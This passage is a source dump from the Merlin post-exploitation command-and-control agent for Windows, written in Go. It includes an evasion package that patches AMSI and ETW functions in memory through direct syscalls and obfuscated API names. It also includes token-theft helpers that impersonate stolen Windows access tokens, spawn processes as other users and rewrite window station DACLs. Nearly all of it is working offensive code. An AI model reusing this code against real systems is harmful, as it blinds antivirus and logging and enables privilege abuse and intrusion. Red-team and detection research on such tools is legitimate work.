uintptr) (addr uintptr, err error) { rtlCreateUserThread := ntdll.NewProc("RtlCreateUserThread") addr, _, err = rtlCreateUserThread.Call(hProcess, lpSecurityDescriptor, bSuspended, zeroBits, maxStack, commitSize, lpStartAddress, pParam, hThread, pClient) if err != windows.Errno(0) { err = fmt.Errorf("there was an error calling Windows RtlCreateUserThread function: %s", err) } else { err = nil } return } ================================================ FILE: os/windows/api/user32/user32.go ================================================ //go:build windows /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ package user32 import ( // Standard "fmt" "syscall" // X Packages "golang.org/x/sys/windows" ) var User32 = windows.NewLazySystemDLL("User32.dll") // GetProcessWindowStation Retrieves a handle to the current window station for the calling process. // If the function succeeds, the return value is a handle to the window station // https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getprocesswindowstation func GetProcessWindowStation() (hWinsta uintptr, err error) { GetProcessWindowStation := User32.NewProc("GetProcessWindowStation") hWinsta, _, err = GetProcessWindowStation.Call() if err != syscall.Errno(0) { err = fmt.Errorf("there was an error calling GetProcessWindowsStation: %s", err) } else { err = nil } return } // GetThreadDesktop Retrieves a handle to the desktop assigned to the specified thread. // https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getthreaddesktop func GetThreadDesktop(threadID uint32) (hDesktop uintptr, err error) { GetThreadDesktop := User32.NewProc("GetThreadDesktop") hDesktop, _, err = GetThreadDesktop.Call(uintptr(threadID)) if err != syscall.Errno(0) { err = fmt.Errorf("there was an error calling GetThreadDesktop: %s", err) } else { err = nil } return } ================================================ FILE: os/windows/pkg/evasion/evasion.go ================================================ //go:build windows && amd64 /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ package evasion import ( // Standard "fmt" "syscall" "unsafe" // 3rd Party bananaphone "github.com/C-Sto/BananaPhone/pkg/BananaPhone" // X-Packages "golang.org/x/sys/windows" ) // Patch will find the target procedure and overwrite the start of its function with the provided bytes. // Used to for evasion to patch things like amsi.dll!AmsiScanBuffer or ntdll.dll!EtwEvenWrite func Patch(module string, proc string, data *[]byte) (string, error) { oldBytes, err := ReadBanana(module, proc, len(*data)) if err != nil { return "", err } out := fmt.Sprintf("\nRead %d bytes from %s!%s: %X", len(*data), module, proc, oldBytes) err = WriteBanana(module, proc, data) if err != nil { return out, err } out += fmt.Sprintf("\nWrote %d bytes to %s!%s: %X", len(*data), module, proc, *data) oldBytes, err = ReadBanana(module, proc, len(*data)) if err != nil { return out, err } out += fmt.Sprintf("\nRead %d bytes from %s!%s: %X", len(*data), module, proc, oldBytes) return out, nil } // Read will find the target module and procedure address and then read its byteLength func Read(module string, proc string, byteLength int) ([]byte, error) { target := syscall.NewLazyDLL(module).NewProc(proc) err := target.Find() if err != nil { return nil, err } data := make([]byte, byteLength) var readBytes *uintptr err = windows.ReadProcessMemory(windows.CurrentProcess(), target.Addr(), &data[0], uintptr(byteLength), readBytes) if err != nil { return data, err } return data, nil } // ReadBanana will find the target procedure and overwrite the start of its function with the provided bytes directly // using the NtReadVirtualMemory syscall func ReadBanana(module string, proc string, byteLength int) ([]byte, error) { target := syscall.NewLazyDLL(module).NewProc(proc) err := target.Find() if err != nil { return nil, err } data := make([]byte, byteLength) banana, err := bananaphone.NewBananaPhone(bananaphone.AutoBananaPhoneMode) if err != nil { return data, err } NtReadVirtualMemory, err := banana.GetSysID("NtReadVirtualMemory") if err != nil { return data, err } ret, err := bananaphone.Syscall(NtReadVirtualMemory, uintptr(0xffffffffffffffff), target.Addr(), uintptr(unsafe.Pointer(&data[0])), uintptr(byteLength), 0) if ret != 0 || err != nil { return data, fmt.Errorf("there was an error making the NtReadVirtualMemory syscall with a return of %d: %s", 0, err) } //fmt.Printf("Read %v bytes from %s!%s: %X\n", byteLength, module, proc, data) return data, nil } // Write will find the target module and procedure and overwrite the start of the function with the provided bytes func Write(module string, proc string, data *[]byte) error { target := syscall.NewLazyDLL(module).NewProc(proc) err := target.Find() if err != nil { return err } virtualProtect := syscall.NewLazyDLL(string([]byte{'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l'})).NewProc(string([]byte{'V', 'i', 'r', 't', 'u', 'a', 'l', 'P', 'r', 'o', 't', 'e', 'c', 't'})) var oldProtect uint32 ret, _, err := virtualProtect.Call(uintptr(unsafe.Pointer(target)), uintptr(len(*data)), uintptr(uint32(windows.PAGE_EXECUTE_READWRITE)), uintptr(unsafe.Pointer(&oldProtect))) if ret == 0 || err != syscall.Errno(0) { return fmt.Errorf("there was an error calling Kernel32!VirtualProtect with return code %d: %s\n", ret, err) } var writeBytes *uintptr data2 := *data err = windows.WriteProcessMemory(windows.CurrentProcess(), target.Addr(), &data2[0], uintptr(len(*data)), writeBytes) if err != nil { return err } ret, _, err = virtualProtect.Call(uintptr(unsafe.Pointer(target)), uintptr(len(*data)), uintptr(oldProtect), uintptr(unsafe.Pointer(&oldProtect))) if ret == 0 || err != syscall.Errno(0) { return fmt.Errorf("there was an error calling Kernel32!VirtualProtect with return code %d: %s\n", ret, err) } return nil } // WriteBanana will find the target module and procedure and overwrite the start of the function with the provided bytes // using the ZwWriteVirtualMemory syscall directly func WriteBanana(module string, proc string, data *[]byte) error { target := syscall.NewLazyDLL(module).NewProc(proc) err := target.Find() if err != nil { return err } banana, err := bananaphone.NewBananaPhone(bananaphone.AutoBananaPhoneMode) if err != nil { return err } ZwWriteVirtualMemory, err := banana.GetSysID("ZwWriteVirtualMemory") if err != nil { return err } NtProtectVirtualMemory, err := banana.GetSysID("NtProtectVirtualMemory") if err != nil { return err } baseAddress := target.Addr() numberOfBytesToProtect := uintptr(len(*data)) var oldProtect uint32 // http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FMemory%20Management%2FVirtual%20Memory%2FNtWriteVirtualMemory.html ret, err := bananaphone.Syscall(NtProtectVirtualMemory, uintptr(0xffffffffffffffff), uintptr(unsafe.Pointer(&baseAddress)), uintptr(unsafe.Pointer(&numberOfBytesToProtect)), syscall.PAGE_EXECUTE_READWRITE, uintptr(unsafe.Pointer(&oldProtect))) if ret != 0 || err != nil { return fmt.Errorf("there was an error making the NtProtectVirtualMemory syscall with a return of %d: %s", 0, err) } // http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FMemory%20Management%2FVirtual%20Memory%2FNtWriteVirtualMemory.html ret, err = bananaphone.Syscall(ZwWriteVirtualMemory, uintptr(0xffffffffffffffff), target.Addr(), uintptr(unsafe.Pointer(&[]byte(*data)[0])), unsafe.Sizeof(*data), 0) if ret != 0 || err != nil { return fmt.Errorf("there was an error making the ZwWriteVirtualMemory syscall with a return of %d: %s", 0, err) } ret, err = bananaphone.Syscall(NtProtectVirtualMemory, uintptr(0xffffffffffffffff), uintptr(unsafe.Pointer(&baseAddress)), uintptr(unsafe.Pointer(&numberOfBytesToProtect)), uintptr(oldProtect), uintptr(unsafe.Pointer(&oldProtect))) if ret != 0 || err != nil { return fmt.Errorf("there was an error making the NtProtectVirtualMemory syscall with a return of %d: %s", 0, err) } //fmt.Printf("Wrote %d bytes from %s!%s: %X\n", len(*data), module, proc, *data) return nil } ================================================ FILE: os/windows/pkg/evasion/evasion_386.go ================================================ //go:build windows && !amd64 /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ package evasion import ( // Standard "fmt" ) // Patch will find the target procedure and overwrite the start of its function with the provided bytes. // Used to for evasion to patch things like amsi.dll!AmsiScanBuffer or ntdll.dll!EtwEvenWrite func Patch(module string, proc string, data *[]byte) (string, error) { return "", fmt.Errorf("cannot patch %s!%s on x86 architecture", module, proc) } // Read will find the target module and procedure address and then read its byteLength func Read(module string, proc string, byteLength int) ([]byte, error) { return []byte{}, fmt.Errorf("cannot read %d bytes for %s!%s on x86 architecture", byteLength, module, proc) } // ReadBanana will find the target procedure and overwrite the start of its function with the provided bytes directly // using the NtReadVirtualMemory syscall func ReadBanana(module string, proc string, byteLength int) ([]byte, error) { return []byte{}, fmt.Errorf("cannot read %d bytes for %s!%s on x86 architecture", byteLength, module, proc) } // Write will find the target module and procedure and overwrite the start of the function with the provided bytes func Write(module string, proc string, data *[]byte) error { return fmt.Errorf("cannot write %d bytes for %s!%s on x86 architecture", len(*data), module, proc) } // WriteBanana will find the target module and procedure and overwrite the start of the function with the provided bytes // using the ZwWriteVirtualMemory syscall directly func WriteBanana(module string, proc string, data *[]byte) error { return fmt.Errorf("cannot write %d bytes for %s!%s on x86 architecture", len(*data), module, proc) } ================================================ FILE: os/windows/pkg/pipes/pipes.go ================================================ //go:build windows /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ package pipes import ( // Standard "fmt" "unicode/utf8" // X Packages "golang.org/x/sys/windows" // Internal "github.com/Ne0nd0g/merlin-agent/v2/os/windows/pkg/text" ) // CreateAnonymousPipes creates and returns a handle for STDIN, STDOUT, and STDERR func CreateAnonymousPipes() (stdInRead, stdInWrite, stdOutRead, stdOutWrite, stdErrRead, stdErrWrite windows.Handle, err error) { // Pipe Security Attributes // https://docs.microsoft.com/en-us/previous-versions/windows/desktop/legacy/aa379560(v=vs.85) sa := &windows.SecurityAttributes{ InheritHandle: 1, } // Create anonymous pipe for STDIN err = windows.CreatePipe(&stdInRead, &stdInWrite, sa, 0) if err != nil { err = fmt.Errorf("error creating the STDIN pipe:\r\n%s", err) return } // Create anonymous pipe for STDOUT err = windows.CreatePipe(&stdOutRead, &stdOutWrite, sa, 0) if err != nil { err = fmt.Errorf("error creating the STDOUT pipe:\r\n%s", err) return } // Create anonymous pipe for STDERR err = windows.CreatePipe(&stdErrRead, &stdErrWrite, sa, 0) if err != nil { err = fmt.Errorf("error creating the STDERR pipe:\r\n%s", err) return } err = nil return } // ClosePipes closes the handle for all the passed in STDIN, STDOUT, and STDERR read and write handles func ClosePipes(stdInRead, stdInWrite, stdOutRead, stdOutWrite, stdErrRead, stdErrWrite windows.Handle) (err error) { // STDIN - Read if stdInRead != 0 { err = windows.CloseHandle(stdInRead) if err != nil { err = fmt.Errorf("error closing the STDIN read pipe handle: %s", err) return } } // STDIN - Write if stdInWrite != 0 { err = windows.CloseHandle(stdInWrite) if err != nil { err = fmt.Errorf("error closing the STDIN write pipe handle: %s", err) return } } // STDOUT - Read if stdOutRead != 0 { err = windows.CloseHandle(stdOutRead) if err != nil { err = fmt.Errorf("error closing the STDOUT read pipe handle: %s", err) return } } // STDOUT - Write if stdOutWrite != 0 { err = windows.CloseHandle(stdOutWrite) if err != nil { err = fmt.Errorf("error closing the STDOUT write pipe handle: %s", err) return } } // STDERR - Read if stdErrRead != 0 { err = windows.CloseHandle(stdErrRead) if err != nil { err = fmt.Errorf("error closing the STDERR read pipe handle: %s", err) return } } // STDERR - Write if stdErrWrite != 0 { err = windows.CloseHandle(stdErrWrite) if err != nil { err = fmt.Errorf("error closing the STDERR write pipe handle: %s", err) return } } err = nil return } // ReadPipes reads data from the passed in STDIN, STDOUT, and STDERR pipes and returns it as a string func ReadPipes(stdInRead, stdOutRead, stdErrRead windows.Handle) (stdin, stdout, stderr string, err error) { // Read STDOUT from child process /* BOOL ReadFile( HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped ); */ nNumberOfBytesToRead := make([]byte, 1) // STDIN if stdInRead != 0 { // Read STDIN var stdInBuffer []byte var stdInDone uint32 var stdInOverlapped windows.Overlapped for { errReadFileStdErr := windows.ReadFile(stdInRead, nNumberOfBytesToRead, &stdInDone, &stdInOverlapped) if errReadFileStdErr != nil && errReadFileStdErr.Error() != "The pipe has been ended." { stderr = fmt.Sprintf("error reading from STDIN pipe: %s", errReadFileStdErr) return } if int(stdInDone) == 0 { break } for _, b := range nNumberOfBytesToRead { stdInBuffer = append(stdInBuffer, b) } } stdin = string(stdInBuffer) } // STDOUT if stdOutRead != 0 { var stdOutBuffer []byte var stdOutDone uint32 var stdOutOverlapped windows.Overlapped // ReadFile on STDOUT pipe for { errReadFileStdOut := windows.ReadFile(stdOutRead, nNumberOfBytesToRead, &stdOutDone, &stdOutOverlapped) if errReadFileStdOut != nil && errReadFileStdOut.Error() != "The pipe has been ended." { stderr = fmt.Sprintf("error reading from STDOUT pipe: %s", errReadFileStdOut) return } if int(stdOutDone) == 0 { break } for _, b := range nNumberOfBytesToRead { stdOutBuffer = append(stdOutBuffer, b) } } // Convert the output to a string if utf8.Valid(stdOutBuffer) { stdout += string(stdOutBuffer) } else { s, e := text.DecodeString(stdOutBuffer) if e != nil { stderr = fmt.Sprintf("%s\n", e) } else { stdout += s } } } // STDERR if stdErrRead != 0 { // Read STDERR var stdErrBuffer []byte var stdErrDone uint32 var stdErrOverlapped windows.Overlapped for { errReadFileStdErr := windows.ReadFile(stdErrRead, nNumberOfBytesToRead, &stdErrDone, &stdErrOverlapped) if errReadFileStdErr != nil && errReadFileStdErr.Error() != "The pipe has been ended." { stderr = fmt.Sprintf("error reading from STDOUT pipe: %s", errReadFileStdErr) return } if int(stdErrDone) == 0 { break } for _, b := range nNumberOfBytesToRead { stdErrBuffer = append(stdErrBuffer, b) } } // Convert the output to a string if utf8.Valid(stdErrBuffer) { stderr += string(stdErrBuffer) } else { s, e := text.DecodeString(stdErrBuffer) if e != nil { stderr = fmt.Sprintf("%s\n", e) } else { stderr += s } } } err = nil return } ================================================ FILE: os/windows/pkg/processes/processes.go ================================================ //go:build windows /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ package processes import ( // Standard "fmt" "os/exec" "strings" "syscall" // X Packages "golang.org/x/sys/windows" // Internal "github.com/Ne0nd0g/merlin-agent/v2/os/windows/api/advapi32" "github.com/Ne0nd0g/merlin-agent/v2/os/windows/pkg/pipes" ) // LOGON_ The logon option const ( LOGON_WITH_PROFILE uint32 = 0x1 LOGON_NETCREDENTIALS_ONLY uint32 = 0x2 ) // CreateProcessWithLogon creates a new process and its primary thread. Then the new process runs the specified // executable file in the security context of the specified credentials (user, domain, and password). // It can optionally load the user profile for a specified user. // This wrapper function performs validation checks on input arguments and converts them to the necessary type func CreateProcessWithLogon(username string, domain string, password string, application string, args string, logon uint32, hide bool) (stdout string, stderr string) { if username == "" { stderr = "a username must be provided for the CreateProcessWithLogon call" return } if password == "" { stderr = "a password must be provided for the CreateProcessWithLogon call" return } if application == "" { stderr = "an application must be provided for the CreateProcessWithLogon call" return } // Check for UPN format (e.g., rastley@acme.com) if strings.Contains(username, "@") { temp := strings.Split(username, "@") username = temp[0] domain = temp[1] } // Check for domain format (e.g., ACME\rastley) if strings.Contains(username, "\\") { temp := strings.Split(username, "\\") username = temp[1] domain = temp[0] } // Check for an empty or missing domain; used with local user accounts if domain == "" { domain = "." } // Convert the username to a LPCWSTR lpUsername, err := syscall.UTF16PtrFromString(username) if err != nil { stderr = fmt.Sprintf("there was an error converting the username \"%s\" to LPCWSTR: %s", username, err) return } // Convert the domain to a LPCWSTR lpDomain, err := syscall.UTF16PtrFromString(domain) if err != nil { stderr = fmt.Sprintf("there was an error converting the domain \"%s\" to LPCWSTR: %s", domain, err) return } // Convert the password to a LPCWSTR lpPassword, err := syscall.UTF16PtrFromString(password) if err != nil { stderr = fmt.Sprintf("there was an error converting the password \"%s\" to LPCWSTR: %s", password, err) return } // Search PATH environment variable to retrieve the application's absolute path application, err = exec.LookPath(application) if err != nil { stderr = fmt.Sprintf("there was an error resolving the absolute path for %s: %s", application, err) return } // Convert the application to a LPCWSTR lpApplicationName, err := syscall.UTF16PtrFromString(application) if err != nil { stderr = fmt.Sprintf("there was an error converting the application name \"%s\" to LPCWSTR: %s", application, err) return } // Convert the program to a LPCWSTR lpCommandLine, err := syscall.UTF16PtrFromString(args) if err != nil { stderr = fmt.Sprintf("there was an error converting the application arguments \"%s\" to LPCWSTR: %s", args, err) return } // Setup pipes to retrieve output stdInRead, _, stdOutRead, stdOutWrite, stdErrRead, stdErrWrite, err := pipes.CreateAnonymousPipes() if err != nil { stderr = fmt.Sprintf("there was an error creating anonymous pipes to collect output: %s", err) return } lpCurrentDirectory := uint16(0) lpStartupInfo := windows.StartupInfo{ StdInput: stdInRead, StdOutput: stdOutWrite, StdErr: stdErrWrite, Flags: windows.STARTF_USESTDHANDLES, } if hide { lpStartupInfo.Flags = windows.STARTF_USESTDHANDLES | windows.STARTF_USESHOWWINDOW lpStartupInfo.ShowWindow = windows.SW_HIDE } lpProcessInformation := windows.ProcessInformation{} err = advapi32.CreateProcessWithLogon( lpUsername, lpDomain, lpPassword, logon, lpApplicationName, lpCommandLine, 0, 0, &lpCurrentDirectory, &lpStartupInfo, &lpProcessInformation, ) if err != nil { stderr += err.Error() return } stdout += fmt.Sprintf("Created %s process with an ID of %d\n", application, lpProcessInformation.ProcessId) // Close the "write" pipe handles err = pipes.ClosePipes(0, 0, 0, stdOutWrite, 0, stdErrWrite) if err != nil { stderr = err.Error() return } // Read from the pipes var out string _, out, stderr, err = pipes.ReadPipes(0, stdOutRead, stdErrRead) if err != nil { stderr += err.Error() return } stdout += out // Close the "read" pipe handles err = pipes.ClosePipes(stdInRead, 0, stdOutRead, 0, stdErrRead, 0) if err != nil { stderr += err.Error() return } return } ================================================ FILE: os/windows/pkg/text/text.go ================================================ //go:build windows /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ package text import ( // Standard "bytes" "fmt" "io" // X Packages "golang.org/x/sys/windows" "golang.org/x/text/encoding/japanese" "golang.org/x/text/encoding/korean" "golang.org/x/text/encoding/simplifiedchinese" "golang.org/x/text/encoding/traditionalchinese" "golang.org/x/text/transform" ) // DecodeString decodes a byte slice to a string using the current code page func DecodeString(encoded []byte) (decoded string, err error) { codePage := windows.GetACP() switch codePage { // 437 is the default code page for US English case 437: decoded = string(encoded) return // 932 is the default code page for Japanese case 932: t, e := io.ReadAll(transform.NewReader(bytes.NewReader(encoded), japanese.ShiftJIS.NewDecoder())) if e != nil { err = fmt.Errorf("os/windows/pkg/text.DecodeString(): there was an error decoding the string to ShiftJIS: %s", e) return } decoded = string(t) // 936 is the default code page for Simplified Chinese case 936: t, e := io.ReadAll(transform.NewReader(bytes.NewReader(encoded), simplifiedchinese.GBK.NewDecoder())) if e != nil { err = fmt.Errorf("os/windows/pkg/text.DecodeString(): there was an error decoding the string to Simplified Chinese GBK: %s", e) return } decoded = string(t) // 949 is the default code page for Korean case 949: t, e := io.ReadAll(transform.NewReader(bytes.NewReader(encoded), korean.EUCKR.NewDecoder())) if e != nil { err = fmt.Errorf("os/windows/pkg/text.DecodeString(): there was an error decoding the string to Korean EUCKR: %s", e) return } decoded = string(t) // 950 is the default code page for Traditional Chinese case 950: t, e := io.ReadAll(transform.NewReader(bytes.NewReader(encoded), traditionalchinese.Big5.NewDecoder())) if e != nil { err = fmt.Errorf("os/windows/pkg/text.DecodeString(): there was an error decoding the string to Traditional Chinese Big5: %s", e) return } decoded = string(t) default: decoded = fmt.Sprintf("\n***The output was not valid UTF-8 and there isn't a configured decoder for code page %d***\n\n", codePage) decoded += string(bytes.ToValidUTF8(encoded, []byte("�"))) } return } ================================================ FILE: os/windows/pkg/tokens/tokens.go ================================================ //go:build windows /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ package tokens import ( // Standard "bytes" "encoding/binary" "fmt" "os/exec" "strings" "syscall" "unsafe" // X Packages "golang.org/x/sys/windows" // Internal "github.com/Ne0nd0g/merlin-agent/v2/cli" "github.com/Ne0nd0g/merlin-agent/v2/os/windows/api/advapi32" "github.com/Ne0nd0g/merlin-agent/v2/os/windows/api/user32" "github.com/Ne0nd0g/merlin-agent/v2/os/windows/pkg/pipes" ) // LOGON32_LOGON_ constants from winbase.h // The type of logon operation to perform const ( LOGON32_LOGON_INTERACTIVE uint32 = 2 LOGON32_LOGON_NETWORK uint32 = 3 LOGON32_LOGON_BATCH uint32 = 4 LOGON32_LOGON_SERVICE uint32 = 5 LOGON32_LOGON_UNLOCK uint32 = 7 LOGON32_LOGON_NETWORK_CLEARTEXT uint32 = 8 LOGON32_LOGON_NEW_CREDENTIALS uint32 = 9 ) // LOGON32_PROVIDER_ constants // The logon provider const ( LOGON32_PROVIDER_DEFAULT uint32 = iota LOGON32_PROVIDER_WINNT35 LOGON32_PROVIDER_WINNT40 LOGON32_PROVIDER_WINNT50 LOGON32_PROVIDER_VIRTUAL ) // LOGON_ The logon option const ( LOGON_WITH_PROFILE uint32 = 0x1 LOGON_NETCREDENTIALS_ONLY uint32 = 0x2 ) var Token windows.Token // ApplyToken applies any stolen or created Windows access token's to the current thread func ApplyToken() error { cli.Message(cli.DEBUG, "entering tokens.ApplyToken()") // Verify a token has been created/stolen and assigned to the global variable if Token != 0 { // Apply the token to this process thread return advapi32.ImpersonateLoggedOnUser(Token) } return nil } // CreateProcessWithToken creates a new process as the user associated with the passed in token // STDOUT/STDERR is redirected to an anonymous pipe and collected after execution to be returned // This requires administrative privileges or at least the SE_IMPERSONATE_NAME privilege func CreateProcessWithToken(hToken windows.Token, application string, args []string) (stdout string, stderr string) { cli.Message(cli.DEBUG, "entering tokens.CreateProcessWithToken()") if application == "" { stderr = "a program must be provided for the CreateProcessWithToken call" return } priv := "SeImpersonatePrivilege" name, err := syscall.UTF16PtrFromString(priv) if err != nil { stderr = fmt.Sprintf("there was an error converting the privilege \"%s\" to LPCWSTR: %s", priv, err) } // Verify that the calling process has the SE_IMPERSONATE_NAME privilege var systemName uint16 var luid windows.LUID err = windows.LookupPrivilegeValue(&systemName, name, &luid) if err != nil { stderr = err.Error() return } hasPriv, err := hasPrivilege(windows.GetCurrentProcessToken(), luid) if err != nil { stderr = "the provided access token does not have the SeImpersonatePrivilege and can't be used to create a process" return } // TODO try to enable the priv before returning with an error if !hasPriv { stderr = "the provided access token does not have the SeImpersonatePrivilege and therefore can't be used to call CreateProcessWithToken" return } // Get Process Token TOKEN_STATISTICS structure statProc, err := GetTokenStats(hToken) if err != nil { stderr = err.Error() return } if statProc.TokenType != windows.TokenPrimary { stderr = "A PRIMARY Windows access token was not provided to tokens.CreateProcessWithToken()" return } // TODO verify the provided token has the TOKEN_QUERY, TOKEN_DUPLICATE, and TOKEN_ASSIGN_PRIMARY access rights // Search PATH environment variable to retrieve the application's absolute path application, err = exec.LookPath(application) if err != nil { stderr = fmt.Sprintf("there was an error resolving the absolute path for %s: %s", application, err) return } // Convert the program to a LPCWSTR lpApplicationName, err := syscall.UTF16PtrFromString(application) if err != nil { stderr = fmt.Sprintf("there was an error converting the application name \"%s\" to LPCWSTR: %s", application, err) return } // Convert the program to a LPCWSTR lpCommandLine, err := syscall.UTF16PtrFromString(strings.Join(args, " ")) if err != nil { stderr = fmt.Sprintf("there was an error converting the application arguments \"%s\" to LPCWSTR: %s", args, err) return } // Setup pipes to retrieve output stdInRead, _, stdOutRead, stdOutWrite, stdErrRead, stdErrWrite, err := pipes.CreateAnonymousPipes() if err != nil { stderr = err.Error() return } sessionToken, err := GetTokenSessionId(hToken) if err != nil { stderr = err.Error() return } var sessionCurrent uint32 err = windows.ProcessIdToSessionId(windows.GetCurrentProcessId(), &sessionCurrent) if err != nil { stderr = err.Error() return } // If the calling process (the Merlin agent) and the token are in different window sessions we must allow the token // user to access the calling session if we are not going to spawn the process in the token's session // Never figured out if setting the lpDesktop for the STARTUPINFO structure would work if sessionCurrent != sessionToken { // Retrieve the passed in token's user information structure to leverage the SID later user, err := hToken.GetTokenUser() if err != nil { stderr = fmt.Sprintf("there was an error calling GetTokenUser: %s\n", err) return } // Create the trustee to add to an ACE trustee := windows.TRUSTEE{ MultipleTrustee: nil, MultipleTrusteeOperation: windows.NO_MULTIPLE_TRUSTEE, TrusteeForm: windows.TRUSTEE_IS_SID, TrusteeType: windows.TRUSTEE_IS_USER, TrusteeValue: windows.TrusteeValueFromSID(user.User.Sid), } // Create the ACE // WINSTA_ALL_ACCESS := 0x37F // WINSTA_ALL_ACCESS (0x37F) All possible access rights for the window station. // WINSTA_READATTRIBUTES := 0x0002 // (0x0002L) Required to read the attributes of a window station object. This attribute includes color settings and other global window station properties. // WINSTA_WRITEATTRIBUTES := 0x0010 // (0x0010L) Required to modify the attributes of a window station object. The attributes include color settings and other global window station properties. // WINSTA_ENUMDESKTOPS := 0x0001 // (0x0001L) Required to enumerate existing desktop objects. // WINSTA_ENUMERATE := 0x0100 // (0x0100L) Required for the window station to be enumerated. // WINSTA_ACCESSCLIPBOARD := 0x0004 // (0x0004L) Required to use the clipboard. WINSTA_ACCESSGLOBALATOMS := 0x0020 // (0x0020L) Required to manipulate global atoms. REQUIRED // WINSTA_CREATEDESKTOP := 0x0008 // (0x0008L) Required to create new desktop objects on the window station. WINSTA_EXITWINDOWS := 0x0040 // (0x0040L) Required to successfully call the ExitWindows or ExitWindowsEx function. Window stations can be shared by users and this access type can prevent other users of a window station from logging off the window station owner. REQUIRED // WINSTA_READSCREEN := 0x0200 // (0x0200L) Required to access screen contents. ace := windows.EXPLICIT_ACCESS{ AccessPermissions: windows.ACCESS_MASK(WINSTA_ACCESSGLOBALATOMS | WINSTA_EXITWINDOWS | windows.READ_CONTROL), // WINSTA_CREATEDESKTOP | WINSTA_READSCREEN | WINSTA_ACCESSCLIPBOARD | WINSTA_WRITEATTRIBUTES | WINSTA_ENUMDESKTOPS | WINSTA_ENUMERATE | WINSTA_READATTRIBUTES | AccessMode: windows.SET_ACCESS, Inheritance: windows.NO_INHERITANCE, Trustee: trustee, } si := windows.SECURITY_INFORMATION(windows.DACL_SECURITY_INFORMATION | windows.OWNER_SECURITY_INFORMATION | windows.ATTRIBUTE_SECURITY_INFORMATION | windows.GROUP_SECURITY_INFORMATION | windows.PROTECTED_DACL_SECURITY_INFORMATION | windows.UNPROTECTED_DACL_SECURITY_INFORMATION) // Get a handle to the window station hWinsta, err := user32.GetProcessWindowStation() if err != nil { stderr = err.Error() return } // Retrieve security information (namely the DACL) for the window station sdStation, err := windows.GetSecurityInfo(windows.Handle(hWinsta), windows.SE_KERNEL_OBJECT, si) if err != nil { stderr = fmt.Sprintf("there was an error calling windows.GetSecurityInfo with the window station handle: %s", err) return } //stdout += fmt.Sprintf("Window Station SDDL: %s\n", sdStation) // Add the new ACE for the token user to the existing security descriptor for the window station sdStationNew, err := windows.BuildSecurityDescriptor(nil, nil, []windows.EXPLICIT_ACCESS{ace}, nil, sdStation) if err != nil { stderr = fmt.Sprintf("there was an error calling windows.BuildSecurityDescriptor for the station: %s\n", err) return } //stdout += fmt.Sprintf("New window station security descriptor: %+v\n", sdStationNew) // Update the window station security descriptor with the new DACL that contains access rights for the token user err = windows.SetKernelObjectSecurity(windows.Handle(hWinsta), windows.DACL_SECURITY_INFORMATION, sdStationNew) if err != nil { stderr = fmt.Sprintf("there was an error calling windows.SetKernelObjectSecurity: %s\n", err) return } // Defer restoring the original security descriptor for the window station defer func() { err = windows.SetKernelObjectSecurity(windows.Handle(hWinsta), windows.DACL_SECURITY_INFORMATION, sdStation) if err != nil { stderr += 